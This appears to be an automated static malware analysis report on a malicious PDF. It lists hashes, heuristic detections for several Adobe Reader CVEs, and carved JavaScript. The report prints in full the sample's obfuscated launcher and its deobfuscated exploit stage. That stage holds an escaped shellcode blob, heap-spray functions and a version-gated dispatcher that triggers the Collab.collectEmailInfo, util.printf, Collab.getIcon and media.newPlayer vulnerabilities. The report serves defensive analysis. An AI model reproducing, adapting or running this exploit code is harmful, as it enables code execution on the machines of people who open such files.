Malicious PDF — malware analysis report

Static analysis result for SHA-256 4fc20692f8927e55…

MALICIOUS

PDF

28.9 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2013-07-31
MD5: 5c03010c99d56a0a62ee048042a61a19 SHA-1: ceef06c314aba3d61e3edb1891387fba153596ad SHA-256: 4fc20692f8927e55ab3b66509d223eb3071b76723d5b5790548159ab6c560df6
516 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The JavaScript stream, named javascript_obj0001_000.js, is likely intended to execute malicious code when the PDF is opened. The use of String.fromCharCode further suggests obfuscation to hide the script's true nature. The exact payload or intent of the script cannot be determined due to its obfuscated nature, but it is a common delivery mechanism for further exploitation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 687 bytes
SHA-256: 44ae0142dd00116b1aaad5cb4e3819d86b392afaf6a5ceccf824ee1ae38102be
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
hnl='';
var q2 = date.getFullYear()-2007;
sfhg='2011s'.replace(date.getFullYear(),'hi');
hbqo=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+sfhg+'.'+hbqo);
var spjrw = g();
qnps=('sub2011').replace(date.getFullYear(),'ject');
g=new Function('a','return t'+sfhg+'.'+qnps);
var yctm=g().replace(date.getFullYear(),'al');
g=new Function('a','return t'+sfhg+'.'+yctm);
ngjle=g();
ylk='pro2011cer';
ylk=ngjle('ylk.replace(date.getFullYear(),"du")');
g=new Function('a','return t'+sfhg+'.'+ylk);
pgrz=ngjle(g());
gyl = ngjle(spjrw);
for (i = 0; i < gyl.length; i++) {
	uhx = gyl[i];
	hnl += pgrz(uhx);
}
ngjle(hnl);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x37E 3636 bytes
SHA-256: 99b12783320016a70023d74a6c98cfa979b6b3037b0bc3995d783ff088d56fc8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u3434%ue2aa%uc3fa%ue5e8%uffff%uddff%u3538%u3434%ub56a%u68d8%u3435%ubd34%ub9d3%u247b%u5bb9%u0560%u63ef%u6765%u6767%u6767%u6767%u6761%u5c67%u3530%u3434%u6261%u5c67%u5a5b%u3434%u415c%u5846%u6059%uba5c%u3a7a%udcd8%u347c%u3434%udc64%u3448%u3434%ue4cb%uf0b7%u5c3c%udb7b%u317b%udc64%u3458%u3434%ue4cb%uf4b1%u2341%u605e%uc76d%u5c9e%uca46%u2287%u29dc%u3434%u6434%u65dc%u3434%ucb34%u67e4%uca5e%ubd5c%u355b%udc89%u343c%u3434%udc64%u3408%u3434%ue4cb%u0554%u50f4%u64bf%ubf04%u3866%u66bf%ubf20%u1c46%u2c8d%u3434%u0534%u05cb%u98f4%u5508%u3648%u1418%ufbf5%u3539%ud6f3%ub5c4%u6fcb%u7e88%ubf5e%u2476%u26bf%ued41%u70bd%u2810%uf755%ubf54%u1058%ubf10%u0871%u60bf%u4c31%ude35%u7ebf%ubf2c%u146e%udf35%u00d7%ubf7d%ubf00%uda35%ucb05%uf405%u98c8%uf4b0%u3340%ufbf5%u3539%udff3%u0fc0%u1048%u411c%ubfd5%u106e%udf35%ubf52%u7f38%u6ebf%u3528%ubfdf%ubf30%udc35%u70bd%u2810%uf655%u343c%udbdc%ucbca%u5ccb%u4040%u0e44%u1b1b%u5855%u4047%u571a%u1a5b%u5757%u531b%u441a%u445c%u520b%u0609%u120c%u0951%u3407';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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